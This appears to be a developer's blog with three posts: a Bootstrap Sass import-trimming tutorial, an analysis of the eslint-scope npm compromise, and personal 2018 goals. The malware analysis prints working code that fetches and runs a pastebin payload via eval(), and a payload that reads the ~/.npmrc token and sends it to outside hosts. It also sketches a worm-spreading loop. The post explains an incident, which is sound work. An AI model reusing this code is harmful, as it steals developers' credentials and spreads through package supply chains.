Making a Minimal Sass File Using Bootstrap

Bootstrap contains many useful components and styles that makes web development faster through reusability, but do you really need everything in the library when importing it? Chances are you do not and below we will walk through on how to cut down on these imports to load what you need for faster site performance.

The Motivation

This week at work I was implementing a flex layout for an application and wanted to use Bootstrap to help  due to having all the main classes written already. While cleaning up some code I noticed that Bootstrap has an entire Sass class just for their grid layout containing only the minimum amount styles needed to make it functional. This led me to notice the flex layout styles are all contained in a handy _utility.scss but there was no slimmed down package for it like the grid. Unfortunately this file also contains many other utilities not needed to implement the layout and begged the question of how to cut down to the bare minimum of imports.

Getting Started

Bootstrap provides the base Sass files that are eventually compiled into one CSS sheet that is distributed via a CDN. They separated different regions of layout code from each other making it possible to only import what is needed. In order to cut down on the size of the styles used we must compile the Sass ourselves and only take what we need for our site. This means if you want to cut down the styles you must manually process the Sass somewhere in your build process.

This approach takes the programmatic approach to cutting down on imports. You can manually edit the CSS file and remove what you do not want and distribute that. That is not recommended if you want to maintain and make changes to styles.

For this example we will assume that npm (or yarn) is available for use on your workspace.

We must first install our Sass processor which is key for generating our own style sheet with the smaller style sheet. Run the following command to install the Sass preprocessor:

npm install -g sass

Let’s also install Bootstrap so we have access to the actual Sass files Twitter uses to generate their styles:

npm install bootstrap

Now we must create a Sass file which will contain our minimal amount of imports from Bootstrap. Create a new Sass file (Ex: styles.scss)  and open that in a text editor. In this file we can now pick and choose what styles we need for our site.

Minimally Viable Styles

For a hint on how to import the files we can look at the main bootstrap.scss file and see the order of how to import the files. At the top there are three imports:

@import "functions";
@import "variables";
@import "mixins";

These must be imported to use the rest of Bootstrap as they contain the core pieces Sass will use to generate files just like referencing imports in a standard programming language. Make sure to keep the order of imports given or you will have errors on processing. This is due to mixins  and variables having a dependency on all imports before them. They will not be able to be processed if they are missing their references.

In your styles.scss you can import the above with the following code:

@import '../../node_modules/bootstrap/scss/functions';
@import '../../node_modules/bootstrap/scss/variables';
@import '../../node_modules/bootstrap/scss/mixins';

Your path to your node modules may be different than mine. Make sure to account for this by specifying the correct path.

Now that we have the minimum amount of imports we can continue to picked out the styles we need.

Pick and Choose

Now we just need to pick out the styles we would like to use on our site and we should be good to go! To finish off the flex layout we just need to import 3 more Sass classes and we should have a minimally viable style sheet for our site. The final classes we need are below:

@import '../../node_modules/bootstrap/scss/utility/display' // Provides display: flex;
@import '../../node_modules/bootstrap/scss/utility/spacing' // Provides padding and margin
@import '../../node_modules/bootstrap/scss/utility/flex' // Provides all flex styles

This was determined from looking at the _utility.scss file and inspecting each import for relevant styles needed. The essential ones are listed above (though spacing is optional, but highly useful).

We can now target our styles.scss file with our Sass processor and get out all the styles we need for the site. The benefit to this is any styles that we want to write in addition can go right into this file also and be processed, centralizing all your styles for you.

The Finale

By doing this we have significantly cut down on the styles the user must download to have the site function resulting in faster loads and a smaller payload over the wire. bootstrap.css come in at 180 KB whereas our slimmed down version comes in at 33KB, a reduction of 82%! In addition, most of this file was also taken up by the optional spacing import. If you remove that you get file for 14.3KB and a reduction of 91%! That is great space saving and if you do not use all of bootstrap then it is definitely worth cutting out pieces you do not need. Now as your site evolves you have a centralized point in styles.scss where you can easily add and compile more bootstrap as needed keeping the styles as lean as possible.

How the Greatest JavaScript Virus was Caught

Today around 10 am EST one of the most subversive JavaScript viruses was found purely through a programming error by the author. By mere mistake, this well crafted bug exposed itself and thwarted a potentially historic infection of one of the most critical pieces of web software infrastructure. It is not an exaggeration to say that if this virus was not exposed as soon as it was that the damage could have been catastrophic with the potential to reach almost every major web browser and desktop on the internet.

The day starts with a normal update to a lessor known library on GitHub eslint-scope from version 3.7.1 to 3.7.2 on the popular package manager npm. Think of the GitHub as the storage locker of the code and npm as Fedex who actually delivers the code to the developers who use it. While the code on Github was fine, npm itself had a rogue version uploaded to impersonate the most recent version of the software one could use by using previously hacked credentials. This updated code carried the virus inside it and caused no issues to be raised when a new version was being deployed online. While the eslint-scope library appears a small target, the real ingenuity of this malware starts with this library being a trojan horse to infect all other repositories of code that depend on this code, with the capability to eventually infect every conceivable library on npm by stealing npm user’s authentication tokens.

The Delivery Mechanism

The virus was first noticed and posted on an issue thread on GitHub to the bewilderment of original poster and many others. The gist of the hack comes from the following code:

try {
    var https = require('https');
    https.get({
        'hostname': 'pastebin.com',
        path: '/raw/XLeVP82h',
        headers: {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
            Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
    }, (r) => {
        r.setEncoding('utf8');
        r.on('data', (c) => {
            eval(c);
        });
        r.on('error', () => {});

    }).on('error', () => {});
} catch (e) {}

 

This code makes an HTTP request to a text file on pastebin.com that contains the actual virus and then executes that code from the response. The mechanism for which the virus does its work does not live in the delivery code, but instead gets downloaded over the internet and executed with the eval() function. This function will execute an arbitrary string inside it as JavaScript with absolutely no regard for the contents of the string. You could be executing a Gameboy Color emulator to play some Pokemon or executing a virus to steal all your sensitive credentials. Unfortunately for us, the latter happened here today. One of the most used resource and documentation sites, the Mozilla Developer Network, succinctly states how to use eval():

Do not ever use eval!

The Virus

Luckily, GitHub user selbekk took a copy of the arbitrary code virus on pastebin that was executed in the eval() before it was taken down so we have a chance to examine what happened here:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
 
if (fs.existsSync(npmrc)){
     
      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
    }
}catch(e){}

This code here will look for an important file called .npmrc which contains the user’s authentication token for the package manager npm mentioned above. It will then read the file and send the contents of it over the internet on an HTTP header to two sites that will store all your sensitive data for the malware author.

This token when used allows the holder to act as you for all intents on the site that issued the token. The issue with this occurs when the digital key is stolen from you the thief inherits all your authorizations and can do what they please with those permissions. The goal of this was to hopefully fish for some tokens of users that had important authorizations on npm and create chaos. Using high privilege tokens they could repackage their virus in your software silently and repeat the cycle of infection and constantly keep infecting and stealing npm authentication tokens until caught.

Spread like Wildfire

The initial goal of this virus was not to infect eslint-scope, but to be pulled in by all the other major libraries that use it and therefore infect them and repeat forever. The first target in sight was one of the most popular JavsScript libraries out there in webpack. Over 4 Million people a week download webpack to use in their projects. Since this virus acts on installation of the library every single one of the downloads would be a theft of the user’s credentials. By hitching a ride on a leaf of webpack the virus was able to find a tiny entry point on much larger software package.

The entire life cycle of the virus was less than 12 hours and it still managed to steal around four and one half thousand user’s credentials. If the hacker wrote any semblance of automation they could have done the following:

  1. Get credentials using the virus installed from eslint-scope
  2. Pull new credentials from the storage site and examine token’s permissions
  3. If user’s permission are high, use them to upload a malicious package on npm again like eslint-scope on the user’s own owned packages.
  4. Repeat step 1 with the credentials from the new libraries.

This cycle could theoretically repeat until every npm package was infected with the malware or until someone actually examined the code inside the faulty packages and started the removal process. Eventually the virus would hit an inflection point to where all major libraries have been infected and then be fully active.

How the Mouse was Caught

If it was not for some poorly written node.js code, this virus might not have been found before it was past the tipping point. By luck the developer made a mistake with the.on('data' line. This function delivers only a chunk of the data requested while the author assumed all the data would be send in one chunk, not multiple. That data requested by the virus was JavaScript code and by chance node.js only gave a partial chunk and not the entire script. This caused a parsing error by eval() seen here since most of the data was missing:

undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

 

Notice that the rest of the script was cut off ? Only about half of the script was sent in the first chunk by node.js and the rest was to be sent after. The author did not take this into account and revealed his malicious code to everyone by accident through an exception bubbling up at install time. If the author took the extra few seconds to verify that all chunks were received (like in the node.js example documentation) they could then have safely executed the virus without alarming anyone. Maybe they needed more end to end tests!

A Pre-Heist for the Actual Heist

This current virus was already so malicious that the npm team had to revoke every key issued before today once the code was isolated and removed. If this virus went unnoticed though the damage could have been absolutely catastrophic.  This goal of this virus was to gain a foothold in everyone’s door to prepare for a bigger delivery of malware. It would be akin to a delivery truck showing up to everyone’s doorstep with a strain of bird flu we would know none the wiser.

Hypothetically, the next step after now owning the means of biggest web software deployment would be to deploy a new piece of malware that was maximally destructive. They could deploy code to find one’s bitcoin and steal it, or install a keylogger and take all your bank passwords. The damage could have been endless. This hacker could have stolen the ultimate software deployment cannon and had the chance to fire it on almost every web software out there if it wasn’t for their own poorly written code.

My 2018 Goals

Starting in 2018 I wanted to set a firm list of goals rather than the vague or general that most people forget after a few months. These goals would be concrete and obtainable and I would hold myself to them throughout the year. By writing them down publicly I also would have to hold myself accountable to the people who read this!

After a week of thinking about this, I generated some small and large goals I would like to accomplish.

Create my own personal site

A small but needed goal in order to accomplish some other ones on this list. By creating this site I can now post my ideas here and develop my reputation online. This is something I have always toyed with and now it is finally reality for me!

Advance my career from my job

I am always trying to challenge myself to get to the next level. I am lucky that I have a Father who has instilled this in me and have bosses who also help me achieve this. They have challenged me giving me a project to design and a small team to lead which has helped me grow tremendously.  I am fortunate to have leaders in our organization that want to develop me and continuously do so. I want to continue this trend for the year and learn and challenge myself in new ways and have more responsibilities.

Impact the Software Community

My first few years of working have been focused on impacting my workplace by developing software. This has helped me create the foundational level of skills that I needed and cemented them, now freeing me to focus my efforts on what interests me. As my skills developed through coding an awareness generated in me that created a better consciousness of the software industry as a whole. This realization has told me that right now I can have a tangible impact on many people in the software community through what I have learned.

As I continue to work on Angular I want to start writing posts that other people can use to help them become better coders. Last year I led my first ever project on my own and it was in a framework I have not worked with. It was difficult but I was guided along by great resources and blogs online to help me develop high quality software. I secretly really like teaching and developing people and the best way to do that online is by creating simple, well explained articles over certain features or ideas in software. I would like to create at least one very well written coding post this year and share it online.

Become an Expert in Angular

Last year I set a goal of becoming an expert on the basics and intermediates of web development and C#. While I still have much to learn I feel very comfortable discussing most topics with anyone and can make sound design decisions. For this year I would like to become much more knowledgeable about a specific piece of technology as I see a good future for the framework and enjoy working in it. While JavaScript frameworks seem to change with the tides, Angular is well designed and supported to withstand the ebbs and flows of the industry which gives me great confidence for the framework. Their fast paced release cycle is great for releasing major features and always has something exciting to learn. Besides, since ASP.NET seems to never die I also think Angular will have a long healthy life.

Develop better relationships with people

Whether personal or professional a priority for me will be to create better relationships with the people around me. There are people in my personal life who I wish to get to know and understand better as we are only surface level friends. In addition, there are also people who I knew well that have become distant with and our relationship faded over the years. Reestablishing and developing these relationships is important to me as I enjoy having good, reliable friends in my life. Going through this year I would like to reestablish one old relationship and also improve one existing relationships with my friends.